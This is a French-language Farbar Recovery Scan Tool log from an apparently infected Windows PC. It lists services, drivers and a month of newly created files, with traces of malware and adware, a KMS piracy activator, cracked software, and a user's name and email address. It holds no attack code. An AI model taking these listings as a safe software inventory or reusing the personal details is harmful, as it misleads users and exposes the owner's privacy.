[14414336 2017-05-16] (Microsoft Corporation) S3 VSStandardCollectorService140; C:\Program Files (x86)\Microsoft Visual Studio 14.0\Team Tools\DiagnosticsHub\Collector\StandardCollector.Service.exe [108776 2016-09-06] (Microsoft Corporation) S3 wampapache64; c:\wamp64\bin\apache\apache2.4.23\bin\httpd.exe [29696 2016-07-01] (Apache Software Foundation) [Fichier non signé] S3 wampmysqld64; c:\wamp64\bin\mysql\mysql5.7.14\bin\mysqld.exe [39885824 2016-07-12] () [Fichier non signé] S3 WdNisSvc; C:\Program Files\Windows Defender\NisSrv.exe [342264 2017-03-18] (Microsoft Corporation) S3 WinDefend; C:\Program Files\Windows Defender\MsMpEng.exe [102816 2017-03-18] (Microsoft Corporation) R2 WinSAPSvc; C:\Users\Adélie\AppData\Roaming\WinSAPSvc\WinSAP.dll [1887232 2017-06-02] () [Fichier non signé] <==== ATTENTION S2 ReimageRealTimeProtector; C:\Program Files\Reimage\Reimage Protector\ReiGuard.exe [X] ===================== Pilotes (Avec liste blanche) ====================== (Si un élément est inclus dans le fichier fixlist.txt, il sera supprimé du Registre. Le fichier ne sera pas déplacé, sauf s'il est inscrit séparément.) R1 aswbidsdriver; C:\WINDOWS\system32\drivers\aswbidsdrivera.sys [311808 2017-05-04] (AVAST Software s.r.o.) [Fichier non signé] R0 aswbidsh; C:\WINDOWS\system32\drivers\aswbidsha.sys [190256 2017-05-04] (AVAST Software s.r.o.) [Fichier non signé] R0 aswblog; C:\WINDOWS\system32\drivers\aswbloga.sys [334576 2017-05-04] (AVAST Software s.r.o.) [Fichier non signé] R0 aswbuniv; C:\WINDOWS\system32\drivers\aswbuniva.sys [49016 2017-05-04] (AVAST Software s.r.o.) [Fichier non signé] S3 aswHdsKe; C:\Windows\system32\drivers\aswHdsKe.sys [82936 2017-01-03] (AVAST Software) [Fichier non signé] S3 aswHwid; C:\WINDOWS\system32\drivers\aswHwid.sys [38296 2017-05-04] (AVAST Software) [Fichier non signé] R1 aswKbd; C:\WINDOWS\system32\drivers\aswKbd.sys [32600 2017-05-04] (AVAST Software) [Fichier non signé] R2 aswMonFlt; C:\WINDOWS\system32\drivers\aswMonFlt.sys [128648 2017-05-04] (AVAST Software) [Fichier non signé] R1 aswRdr; C:\WINDOWS\system32\drivers\aswRdr2.sys [101152 2017-05-04] (AVAST Software) [Fichier non signé] R0 aswRvrt; C:\WINDOWS\system32\drivers\aswRvrt.sys [75704 2017-05-04] (AVAST Software) [Fichier non signé] R1 aswSnx; C:\WINDOWS\system32\drivers\aswSnx.sys [1007160 2017-05-04] (AVAST Software) [Fichier non signé] R1 aswSP; C:\WINDOWS\system32\drivers\aswSP.sys [569192 2017-05-04] (AVAST Software) [Fichier non signé] R2 aswStm; C:\WINDOWS\system32\drivers\aswStm.sys [158880 2017-05-14] (AVAST Software) [Fichier non signé] R0 aswVmm; C:\WINDOWS\system32\drivers\aswVmm.sys [339696 2017-05-04] (AVAST Software) [Fichier non signé] S3 blackberryncm; C:\WINDOWS\System32\drivers\blackberryncm6_AMD64.sys [36360 2016-04-06] (BlackBerry) S3 dg_ssudbus; C:\WINDOWS\system32\DRIVERS\ssudbus.sys [131712 2016-09-05] (Samsung Electronics Co., Ltd.) R2 Ext2Fsd; C:\Windows\system32\Drivers\Ext2Fsd.sys [802816 2016-09-14] (www.ext2fsd.com) R3 hvsocketcontrol; C:\WINDOWS\system32\drivers\hvsocketcontrol.sys [22016 2017-05-16] (Microsoft Corporation) S2 IntelHaxm; C:\WINDOWS\system32\DRIVERS\IntelHaxm.sys [91256 2016-09-13] (Intel Corporation) R2 LGCoreTemp; C:\Program Files\Logitech Gaming Software\Drivers\LgCoreTemp\lgcoretemp.sys [14184 2015-06-21] (Logitech) R3 LGJoyXlCore; C:\WINDOWS\system32\drivers\LGJoyXlCore.sys [67736 2016-09-29] (Logitech Inc.) S3 lunparser; C:\WINDOWS\System32\drivers\lunparser.sys [23552 2017-05-16] (Microsoft Corporation) R0 MBAMSwissArmy; C:\WINDOWS\System32\drivers\MBAMSwissArmy.sys [251832 2017-05-30] (Malwarebytes) R3 nvlddmkm; C:\WINDOWS\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_a2b0acab06663645\nvlddmkm.sys [14456944 2017-05-02] (NVIDIA Corporation) S3 NvStreamKms; C:\Program Files\NVIDIA Corporation\NvStreamSrv\NvStreamKms.sys [30328 2017-05-03] (NVIDIA Corporation) R3 nvvad_WaveExtensible; C:\WINDOWS\system32\drivers\nvvad64v.sys [48248 2017-05-03] (NVIDIA Corporation) R3 nvvhci; C:\WINDOWS\System32\drivers\nvvhci.sys [59448 2017-05-02] (NVIDIA Corporation) S3 passthruparser; C:\WINDOWS\System32\drivers\passthruparser.sys [25088 2017-05-16] (Microsoft Corporation) S3 pcip; C:\WINDOWS\System32\drivers\pcip.sys [47616 2017-05-16] (Microsoft Corporation) S3 pvhdparser; C:\WINDOWS\System32\drivers\pvhdparser.sys [51712 2017-05-16] (Microsoft Corporation) S3 ramparser; C:\WINDOWS\System32\drivers\ramparser.sys [31232 2017-05-16] (Microsoft Corporation) R3 rt640x64; C:\WINDOWS\System32\drivers\rt640x64.sys [604160 2017-03-18] (Realtek ) R3 SbieDrv; C:\Program Files\Sandboxie\SbieDrv.sys [206984 2017-04-12] (Sandboxie Holdings, LLC) S3 SDFRd; C:\WINDOWS\System32\drivers\SDFRd.sys [31128 2017-03-18] () R3 SensorsSimulatorDriver; C:\WINDOWS\System32\drivers\WUDFRd.sys [220672 2017-03-18] (Microsoft Corporation) S3 ssudmdm; C:\WINDOWS\system32\DRIVERS\ssudmdm.sys [165504 2016-09-05] (Samsung Electronics Co., Ltd.) R3 Synth3dVsp; C:\WINDOWS\System32\drivers\synth3dvsp.sys [104448 2017-05-16] (Microsoft Corporation) R3 VBAudioVMVAIOMME; C:\WINDOWS\system32\DRIVERS\vbaudio_vmvaio64_win7.sys [41192 2017-05-04] (Windows (R) Win 7 DDK provider) R1 VBoxUSBMon; C:\WINDOWS\system32\DRIVERS\VBoxUSBMon.sys [127432 2017-01-10] (BigNox Corporation) S3 vhdparser; C:\WINDOWS\System32\drivers\vhdparser.sys [31232 2017-05-16] (Microsoft Corporation) R1 vmkbd3; C:\WINDOWS\system32\DRIVERS\vmkbd.sys [52288 2016-11-12] (VMware, Inc.) R2 VMSP; C:\WINDOWS\System32\drivers\vmswitch.sys [1652736 2017-05-16] (Microsoft Corporation) R0 vmsproxy; C:\WINDOWS\System32\drivers\vmsproxy.sys [33696 2017-05-16] (Microsoft Corporation) S3 VMSVSF; C:\WINDOWS\System32\drivers\vmswitch.sys [1652736 2017-05-16] (Microsoft Corporation) S3 VMSVSP; C:\WINDOWS\System32\drivers\vmswitch.sys [1652736 2017-05-16] (Microsoft Corporation) R3 vmulti; C:\WINDOWS\System32\drivers\vmulti.sys [19504 2016-01-13] (Windows (R) Win 7 DDK provider) R0 vsock; C:\WINDOWS\system32\DRIVERS\vsock.sys [91712 2016-09-30] (VMware, Inc.) S3 WdBoot; C:\WINDOWS\system32\drivers\WdBoot.sys [44632 2017-03-18] (Microsoft Corporation) S3 WdFilter; C:\WINDOWS\system32\drivers\WdFilter.sys [294816 2017-03-18] (Microsoft Corporation) S3 wdm_usb; C:\WINDOWS\system32\DRIVERS\usb2ser.sys [159936 2016-08-16] (MBB) S3 WdNisDrv; C:\WINDOWS\System32\Drivers\WdNisDrv.sys [121248 2017-03-18] (Microsoft Corporation) S1 XQHDrv; C:\WINDOWS\system32\DRIVERS\XQHDrv.sys [253384 2017-01-10] (BigNox Corporation) R1 ZAM; C:\Windows\System32\drivers\zam64.sys [203680 2017-01-03] (Zemana Ltd.) R1 ZAM_Guard; C:\Windows\System32\drivers\zamguard64.sys [203680 2017-01-03] (Zemana Ltd.) ==================== NetSvcs (Avec liste blanche) =================== (Si un élément est inclus dans le fichier fixlist.txt, il sera supprimé du Registre. Le fichier ne sera pas déplacé, sauf s'il est inscrit séparément.) ==================== Un mois - Créés - fichiers et dossiers ======== (Si un élément est inclus dans le fichier fixlist.txt, le fichier/dossier sera déplacé.) 2017-06-03 16:28 - 2017-06-03 16:28 - 00000000 ____D C:\FRST 2017-06-03 16:27 - 2017-06-03 16:27 - 02433536 _____ (Farbar) C:\Users\Adélie\Desktop\FRST64.exe 2017-06-03 16:17 - 2017-06-03 16:17 - 13003967 _____ C:\Users\Adélie\Downloads\EmbedMessageCreator-1.1.3-RELEASE-jar-with-dependencies.jar 2017-06-03 15:51 - 2017-06-03 15:52 - 00214437 _____ C:\drivers.txt 2017-06-03 15:50 - 2017-06-03 15:50 - 05761101 _____ (driverchecker.com, Inc. ) C:\Users\Adélie\Downloads\DC_Setup.exe 2017-06-03 11:43 - 2017-06-03 15:34 - 00000000 ___HD C:\Users\Public\Documents\AdobeGC 2017-06-03 11:24 - 2017-06-03 11:24 - 04110280 _____ C:\Users\Adélie\Downloads\adwcleaner_6.047 (4).exe 2017-06-02 18:17 - 2017-06-02 18:17 - 00000000 ____D C:\Users\Adélie\AppData\Local\glory 2017-06-02 18:12 - 2017-06-02 18:13 - 00000000 ____D C:\Users\Adélie\AppData\Roaming\vlc 2017-06-02 17:38 - 1999-11-12 05:11 - 00183808 _____ C:\WINDOWS\SysWOW64\BDEADMIN.CPL 2017-06-02 17:38 - 1999-01-20 05:01 - 00210032 _____ C:\WINDOWS\SysWOW64\DBCLIENT.DLL 2017-06-02 17:37 - 2017-06-02 17:37 - 18476835 _____ (Nicolas Coolman ) C:\Users\Adélie\Downloads\zhp2016setup.exe 2017-06-02 17:37 - 2017-06-02 17:37 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\ZHP 2017-06-02 17:37 - 2017-06-02 17:37 - 00000000 ____D C:\Program Files (x86)\ZebHelpProcess 2017-06-02 17:36 - 2017-06-02 17:36 - 04110280 _____ C:\Users\Adélie\Downloads\adwcleaner_6.047 (3).exe 2017-06-01 17:20 - 2017-06-01 17:23 - 32437648 _____ C:\Users\Adélie\Desktop\Musique-Drop v4.wav 2017-06-01 16:49 - 2017-06-01 16:49 - 00001123 _____ C:\Users\Public\Desktop\VLC media player.lnk 2017-06-01 16:49 - 2017-06-01 16:49 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN 2017-06-01 16:34 - 2017-06-01 16:35 - 35292342 _____ C:\Users\Adélie\Desktop\Musique-Drop v3.wav 2017-06-01 16:08 - 2017-06-01 16:08 - 06916046 _____ C:\Users\Adélie\Downloads\Blague appel de police.wav 2017-06-01 16:08 - 2017-06-01 16:08 - 00341520 _____ C:\Users\Adélie\Downloads\Blague appel de police.ogg 2017-06-01 16:07 - 2017-06-01 16:07 - 00497316 _____ C:\Users\Adélie\Downloads\Blague appel de police.webm 2017-06-01 16:07 - 2017-06-01 16:07 - 00497316 _____ C:\Users\Adélie\Downloads\Blague appel de police (1).webm 2017-06-01 15:17 - 2017-06-02 18:17 - 00000000 ____D C:\ProgramData\BIT 2017-06-01 15:16 - 2017-06-02 18:17 - 00003664 _____ C:\WINDOWS\System32\Tasks\Milimili 2017-06-01 15:16 - 2017-06-02 18:17 - 00000000 ____D C:\Users\Adélie\AppData\Roaming\WinSAPSvc 2017-06-01 15:16 - 2017-06-01 15:16 - 00000000 ____D C:\Program Files (x86)\MIO 2017-06-01 15:16 - 2017-06-01 15:16 - 00000000 ____D C:\Program Files (x86)\Arucerther 2017-05-31 19:59 - 2017-05-31 20:00 - 01869330 _____ C:\Users\Adélie\Downloads\12697.wav 2017-05-31 19:58 - 2017-05-31 19:58 - 03560454 _____ C:\Users\Adélie\Downloads\13183 (1).wav 2017-05-31 19:56 - 2017-05-31 19:56 - 03560454 _____ C:\Users\Adélie\Downloads\13183.wav 2017-05-31 19:42 - 2017-05-31 19:42 - 03786166 _____ C:\Users\Adélie\Downloads\7284 (3).wav 2017-05-31 19:42 - 2017-05-31 19:42 - 03786166 _____ C:\Users\Adélie\Downloads\7284 (2).wav 2017-05-31 19:42 - 2017-05-31 19:42 - 03786166 _____ C:\Users\Adélie\Downloads\7284 (1).wav 2017-05-31 19:32 - 2017-05-31 19:42 - 00937968 _____ C:\Users\Adélie\Downloads\7284.wav.crdownload 2017-05-31 15:44 - 2017-05-31 15:44 - 05652524 _____ C:\Users\Adélie\Downloads\17055.wav 2017-05-31 15:44 - 2017-05-31 15:44 - 05652524 _____ C:\Users\Adélie\Downloads\17055 (1).wav 2017-05-31 15:33 - 2017-05-31 15:33 - 00525358 _____ C:\Users\Adélie\Downloads\370.wav 2017-05-31 15:25 - 2017-05-31 15:25 - 00663598 _____ C:\Users\Adélie\Downloads\3577.wav 2017-05-31 15:17 - 2017-05-31 15:52 - 00044798 _____ C:\Users\Adélie\Downloads\SFB-fusil_pompe_3coups.mp3.crdownload 2017-05-31 12:44 - 2017-05-31 12:44 - 35329488 _____ C:\Users\Adélie\Desktop\[Parodie] Le chemin - Orphée et Eurydice v4.wav 2017-05-31 12:21 - 2017-06-01 17:19 - 00097981 _____ C:\Users\Adélie\Desktop\Musique-Drop.flp 2017-05-31 12:20 - 2017-05-31 12:29 - 26592010 _____ C:\Users\Adélie\Desktop\[Parodie] Le chemin - Orphée et Eurydice v3.wav 2017-05-31 11:55 - 2017-05-31 11:55 - 63035592 _____ (Malwarebytes ) C:\Users\Adélie\Downloads\mb3-setup-35891.35891-3.1.2.1733 (1).exe 2017-05-31 11:34 - 2017-05-31 11:34 - 63035592 _____ (Malwarebytes ) C:\Users\Adélie\Downloads\mb3-setup-35891.35891-3.1.2.1733.exe 2017-05-31 11:33 - 2017-05-31 11:33 - 04110280 _____ C:\Users\Adélie\Downloads\adwcleaner_6.047 (2).exe 2017-05-31 11:32 - 2017-05-31 11:32 - 04110280 _____ C:\Users\Adélie\Downloads\adwcleaner_6.047 (1).exe 2017-05-30 18:05 - 2017-05-30 18:05 - 00226089 _____ C:\Users\Adélie\Downloads\GSnapWin64.zip 2017-05-30 17:25 - 2017-05-30 17:25 - 00000000 ___RD C:\Sandbox 2017-05-30 17:23 - 2017-05-31 19:21 - 00001662 _____ C:\WINDOWS\Sandboxie.ini 2017-05-30 17:23 - 2017-05-30 17:23 - 00000963 _____ C:\Users\Adélie\Desktop\Lien Navigateur Internet Sandboxé 2017-05-30 17:23 - 2017-05-30 17:23 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Sandboxie 2017-05-30 17:23 - 2017-05-30 17:23 - 00000000 ____D C:\Program Files\Sandboxie 2017-05-30 17:22 - 2017-05-30 17:22 - 08977544 _____ (Sandboxie Holdings, LLC) C:\Users\Adélie\Downloads\SandboxieInstall.exe 2017-05-30 17:12 - 2017-05-30 17:13 - 00175534 _____ C:\Users\Adélie\Documents\cc_20170530_171248.reg 2017-05-30 17:12 - 2017-05-30 17:12 - 00003552 _____ C:\WINDOWS\System32\Tasks\Reimage Reminder 2017-05-30 17:11 - 2017-05-30 17:12 - 00000000 ____D C:\ProgramData\Reimage Protector 2017-05-30 17:11 - 2017-05-30 17:11 - 00004354 _____ C:\WINDOWS\System32\Tasks\ReimageUpdater 2017-05-30 17:11 - 2017-05-30 17:11 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Reimage Repair 2017-05-30 17:10 - 2017-05-30 17:13 - 00000140 _____ C:\WINDOWS\Reimage.ini 2017-05-30 17:10 - 2017-05-30 17:10 - 00604928 _____ (Reimage) C:\Users\Adélie\Downloads\ReimageRepair.exe 2017-05-30 16:51 - 2017-05-30 16:51 - 00000000 ____D C:\WINDOWS\System32\Tasks\S-1-5-21-800668894-2218149350-3903315281-1005 2017-05-30 16:36 - 2017-05-30 16:36 - 04110280 _____ C:\Users\Adélie\Downloads\adwcleaner_6.047.exe 2017-05-30 14:36 - 2017-05-30 14:36 - 26461558 _____ C:\Users\Adélie\Desktop\[Parodie] Le chemin - Orphée et Eurydice v2.wav 2017-05-30 13:19 - 2017-05-30 13:19 - 00000290 __RSH C:\Users\Adélie\ntuser.pol 2017-05-30 13:01 - 2017-05-30 13:01 - 00000218 _____ C:\Users\Adélie\AppData\Local\recently-used.xbel 2017-05-30 13:00 - 2017-05-30 13:00 - 00000000 ____D C:\Users\Adélie\AppData\Roaming\Antares 2017-05-30 13:00 - 2017-05-30 13:00 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Antares Audio Technologies 2017-05-30 13:00 - 2017-05-30 13:00 - 00000000 ____D C:\Program Files (x86)\Antares Audio Technologies 2017-05-30 12:58 - 2017-05-30 12:58 - 00000000 ____D C:\Users\Adélie\Downloads\Autotune_Evo v.6.0.9+Crack(diMi)_VST&RTAS 2017-05-30 12:48 - 2017-05-30 13:17 - 00000328 _____ C:\WINDOWS\Tasks\FF20459C-DA6E-41A7-80BC-8F4FEFD9C575.job 2017-05-30 12:48 - 2017-05-30 12:48 - 00002690 _____ C:\WINDOWS\System32\Tasks\FF20459C-DA6E-41A7-80BC-8F4FEFD9C575 2017-05-30 12:48 - 2017-05-30 12:48 - 00000002 _____ C:\END 2017-05-30 12:48 - 2017-05-30 12:48 - 00000000 ____D C:\WINDOWS\SysWOW64\SSL 2017-05-30 12:48 - 2017-05-30 12:48 - 00000000 ____D C:\Users\Adélie\AppData\Local\AdvinstAnalytics 2017-05-30 12:47 - 2017-05-30 14:20 - 00000000 ____D C:\Users\Adélie\AppData\Roaming\devnull 2017-05-30 12:47 - 2017-05-30 12:47 - 00016858 _____ C:\WINDOWS\System32\Tasks\Colasoft Validator 2 2017-05-30 12:47 - 2017-05-30 12:47 - 00000000 ____D C:\Users\Ad￩lie\AppData\Local\Cerzaentfisuge 2017-05-30 12:46 - 2017-05-30 12:46 - 00000000 ____D C:\Users\Adélie\AppData\Local\Cerzaentfisuge 2017-05-29 20:55 - 2017-05-29 20:55 - 26591478 _____ C:\Users\Adélie\Downloads\[Parodie] Le chemin - Orphée et Eurydice.wav 2017-05-29 20:46 - 2017-05-29 20:59 - 00000000 ____D C:\Users\Adélie\AppData\Roaming\Mp3tag 2017-05-29 20:46 - 2017-05-29 20:46 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mp3tag 2017-05-29 20:46 - 2017-05-29 20:46 - 00000000 ____D C:\Program Files (x86)\Mp3tag 2017-05-29 20:45 - 2017-05-29 20:45 - 03276704 _____ C:\Users\Adélie\Downloads\mp3tagv282setup.exe 2017-05-29 20:44 - 2017-05-29 20:44 - 00835200 _____ (Carifred) C:\Users\Adélie\Downloads\FVIE.exe 2017-05-29 20:42 - 2017-05-29 20:42 - 26461558 _____ C:\Users\Adélie\Downloads\Musique v1.wav 2017-05-29 18:23 - 2017-05-31 12:42 - 00082431 _____ C:\Users\Adélie\Desktop\Musique.flp 2017-05-29 18:21 - 2017-05-29 20:59 - 26591652 _____ C:\Users\Adélie\Desktop\[Parodie] Le chemin - Orphée et Eurydice.wav 2017-05-29 17:30 - 2017-05-29 17:30 - 00005573 _____ C:\Users\Adélie\Downloads\USERSONG07.MID 2017-05-29 08:28 - 2017-05-29 08:28 - 01506304 _____ C:\WINDOWS\2e783087b672bf7f1b3af6479d721af6.exe 2017-05-29 08:28 - 2017-05-29 08:28 - 00051620 _____ C:\WINDOWS\uninstaller.dat 2017-05-28 16:05 - 2017-05-28 16:05 - 05260299 _____ C:\Users\Adélie\Documents\Avion-billet.psd 2017-05-28 12:04 - 2017-05-28 12:04 - 01537568 _____ C:\Users\Adélie\Downloads\pulseaudio-9.0.tar.xz 2017-05-26 17:30 - 2017-05-26 17:30 - 00000000 ____D C:\Users\Adélie\Desktop\ScreenToGif 2017-05-26 17:12 - 2017-05-26 17:12 - 00622086 _____ C:\Users\Adélie\Downloads\ScreenToGif.2.7.3.zip 2017-05-26 17:12 - 2017-05-26 17:12 - 00000000 ____D C:\Users\Adélie\AppData\Roaming\ScreenToGif 2017-05-26 17:12 - 2017-05-19 03:30 - 02766848 _____ (Nicke Manarin) C:\Users\Adélie\Desktop\ScreenToGif.exe 2017-05-26 16:08 - 2017-05-26 16:08 - 13003967 _____ C:\Users\Adélie\Desktop\EmbedMessageCreator-1.1.3-RELEASE-jar-with-dependencies.jar 2017-05-26 16:00 - 2017-05-26 16:00 - 00000000 ____D C:\ProgramData\Steam 2017-05-26 16:00 - 2017-05-26 16:00 - 00000000 ____D C:\ProgramData\Socialclub 2017-05-25 09:13 - 2017-05-25 09:13 - 00000000 ____D C:\Users\Adélie\Documents\Rockstar Games 2017-05-25 09:13 - 2017-05-25 09:13 - 00000000 ____D C:\Users\Adélie\AppData\Roaming\CitizenFX 2017-05-25 09:13 - 2017-05-25 09:13 - 00000000 ____D C:\Users\Adélie\AppData\Local\Rockstar Games 2017-05-25 09:12 - 2017-05-25 09:12 - 00000000 ____D C:\Users\Adélie\AppData\Local\DigitalEntitlements 2017-05-25 08:04 - 2017-05-25 09:25 - 00000000 ____D C:\Users\Adélie\AppData\Local\FiveM 2017-05-25 08:04 - 2017-05-25 08:04 - 00002030 _____ C:\Users\Adélie\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\FiveM.lnk 2017-05-25 08:04 - 2017-05-25 08:04 - 00000000 ____D C:\Users\Adélie\Desktop\FiveM.app 2017-05-24 20:38 - 2017-05-26 15:56 - 00000000 ____D C:\Users\Adélie\Desktop\Nouveau dossier 2017-05-24 20:34 - 2017-05-24 20:37 - 00000000 ____D C:\WINDOWS\SysWOW64\directx 2017-05-24 11:38 - 2017-05-24 12:03 - 00000000 ____D C:\Users\Adélie\Downloads\Grand Theft Auto V [FitGirl Ultra Repack] 2017-05-24 10:53 - 2017-05-24 10:53 - 00000020 ___SH C:\Users\benja\ntuser.ini 2017-05-23 17:15 - 2017-05-23 17:16 - 00000000 ____D C:\Users\Adélie\Downloads\Grand.Theft.Auto.V.Update.v1.36.Incl.Money.Trainer-RELOADED 2017-05-20 11:42 - 2017-05-20 11:42 - 00000000 ____D C:\Users\Adélie\AppData\Local\DBG 2017-05-20 11:18 - 2017-05-20 11:18 - 00002284 _____ C:\Users\Adélie\Desktop\GitKraken.lnk 2017-05-19 18:48 - 2017-05-20 13:57 - 00000000 ____D C:\Users\Adélie\AppData\Roaming\GitKraken 2017-05-19 18:48 - 2017-05-19 18:50 - 00000000 ____D C:\Users\Adélie\AppData\Roaming\.gitkraken 2017-05-19 18:48 - 2017-05-19 18:48 - 00000000 ____D C:\Users\Adélie\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Axosoft, LLC 2017-05-19 18:47 - 2017-05-19 18:48 - 00000000 ____D C:\Users\Adélie\AppData\Local\gitkraken 2017-05-18 17:48 - 2017-05-18 17:48 - 00003247 _____ C:\Users\Adélie\Downloads\gitlab 2017-05-18 17:48 - 2017-05-18 17:48 - 00000748 _____ C:\Users\Adélie\Downloads\gitlab.pub 2017-05-16 17:41 - 2017-05-16 17:41 - 00000000 ____D C:\ProgramData\Microsoft OneDrive 2017-05-16 17:38 - 2017-05-16 17:38 - 00000000 ____D C:\Users\Adélie\AppData\Local\ConnectedDevicesPlatform 2017-05-16 17:37 - 2017-05-16 17:37 - 20602360 _____ (Adobe Systems Incorporated) C:\WINDOWS\SysWOW64\FlashPlayerInstaller.exe 2017-05-16 17:37 - 2017-05-16 17:37 - 00000020 ___SH C:\Users\Adélie\ntuser.ini 2017-05-16 17:31 - 2017-05-16 17:35 - 00026673 _____ C:\WINDOWS\diagwrn.xml 2017-05-16 17:31 - 2017-05-16 17:35 - 00026673 _____ C:\WINDOWS\diagerr.xml 2017-05-16 17:26 - 2017-06-03 15:42 - 00003654 _____ C:\WINDOWS\System32\Tasks\AutoKMS 2017-05-16 17:26 - 2017-06-03 11:51 - 00000006 ____H C:\WINDOWS\Tasks\SA.DAT 2017-05-16 17:26 - 2017-05-31 11:37 - 00004048 _____ C:\WINDOWS\System32\Tasks\SafeZone scheduled Autoupdate 1481365363 2017-05-16 17:26 - 2017-05-24 11:01 - 00003290 _____ C:\WINDOWS\System32\Tasks\OneDrive Standalone Update Task v2 2017-05-16 17:26 - 2017-05-16 17:37 - 00004772 _____ C:\WINDOWS\System32\Tasks\Adobe Flash Player PPAPI Notifier 2017-05-16 17:26 - 2017-05-16 17:37 - 00004558 _____ C:\WINDOWS\System32\Tasks\Adobe Flash Player Updater 2017-05-16 17:26 - 2017-05-16 17:26 - 00023108 _____ C:\WINDOWS\system32\emptyregdb.dat 2017-05-16 17:26 - 2017-05-16 17:26 - 00003514 _____ C:\WINDOWS\System32\Tasks\GoogleUpdateTaskMachineUA 2017-05-16 17:26 - 2017-05-16 17:26 - 00003398 _____ C:\WINDOWS\System32\Tasks\NvDriverUpdateCheckDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} 2017-05-16 17:26 - 2017-05-16 17:26 - 00003318 _____ C:\WINDOWS\System32\Tasks\User_Feed_Synchronization-{FB54AAC6-5230-4A3C-AB15-3A1EB5847A58} 2017-05-16 17:26 - 2017-05-16 17:26 - 00003290 _____ C:\WINDOWS\System32\Tasks\GoogleUpdateTaskMachineCore 2017-05-16 17:26 - 2017-05-16 17:26 - 00003176 _____ C:\WINDOWS\System32\Tasks\NVIDIA GeForce Experience SelfUpdate_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} 2017-05-16 17:26 - 2017-05-16 17:26 - 00002984 _____ C:\WINDOWS\System32\Tasks\NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} 2017-05-16 17:26 - 2017-05-16 17:26 - 00002968 _____ C:\WINDOWS\System32\Tasks\NvNodeLauncher_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} 2017-05-16 17:26 - 2017-05-16 17:26 - 00002956 _____ C:\WINDOWS\System32\Tasks\NvTmRep_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} 2017-05-16 17:26 - 2017-05-16 17:26 - 00002942 _____ C:\WINDOWS\System32\Tasks\Avast Emergency Update 2017-05-16 17:26 - 2017-05-16 17:26 - 00002838 _____ C:\WINDOWS\System32\Tasks\NvTmMon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} 2017-05-16 17:26 - 2017-05-16 17:26 - 00002806 _____ C:\WINDOWS\System32\Tasks\AdobeAAMUpdater-1.0-MicrosoftAccount-tim54000.18@gmail.com 2017-05-16 17:26 - 2017-05-16 17:26 - 00002786 _____ C:\WINDOWS\System32\Tasks\NvTmRepOnLogon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} 2017-05-16 17:26 - 2017-05-16 17:26 - 00002744 _____ C:\WINDOWS\System32\Tasks\NvProfileUpdaterOnLogon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} 2017-05-16 17:26 - 2017-05-16 17:26 - 00002218 _____ C:\WINDOWS\System32\Tasks\CCleanerSkipUAC 2017-05-16 17:26 - 2017-05-16 17:26 - 00000000 ____D C:\WINDOWS\System32\Tasks\AVAST Software 2017-05-16 17:22 - 2017-05-29 20:15 - 00000000 ____D C:\Windows.old 2017-05-16 17:21 - 2017-05-16 17:21 - 23681024 _____ (Microsoft Corporation) C:\WINDOWS\system32\mshtml.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 23677440 _____ (Microsoft Corporation) C:\WINDOWS\system32\edgehtml.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 21353200 _____ (Microsoft Corporation) C:\WINDOWS\system32\shell32.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 20505600 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\edgehtml.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 20374424 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\shell32.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 19335168 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\mshtml.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 12787200 _____ (Microsoft Corporation) C:\WINDOWS\system32\ieframe.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 11870208 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\ieframe.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 08320920 _____ (Microsoft Corporation) C:\WINDOWS\system32\ntoskrnl.exe 2017-05-16 17:21 - 2017-05-16 17:21 - 08244736 _____ (Microsoft Corporation) C:\WINDOWS\system32\Chakra.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 07931392 _____ (Microsoft Corporation) C:\WINDOWS\system32\twinui.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 07904784 _____ (Microsoft Corporation) C:\WINDOWS\system32\Windows.Media.Protection.PlayReady.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 06759512 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\Windows.Media.Protection.PlayReady.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 06728192 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\twinui.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 06292992 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\Chakra.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 05776384 _____ (Microsoft Corporation) C:\WINDOWS\system32\VsGraphicsDesktopEngine.exe 2017-05-16 17:21 - 2017-05-16 17:21 - 05557760 _____ (Microsoft Corporation) C:\WINDOWS\system32\dbgeng.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 05477088 _____ (Microsoft Corporation) C:\WINDOWS\system32\OneCoreUAPCommonProxyStub.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 05225984 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\d2d1.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 04848440 _____ (Microsoft Corporation) C:\WINDOWS\explorer.exe 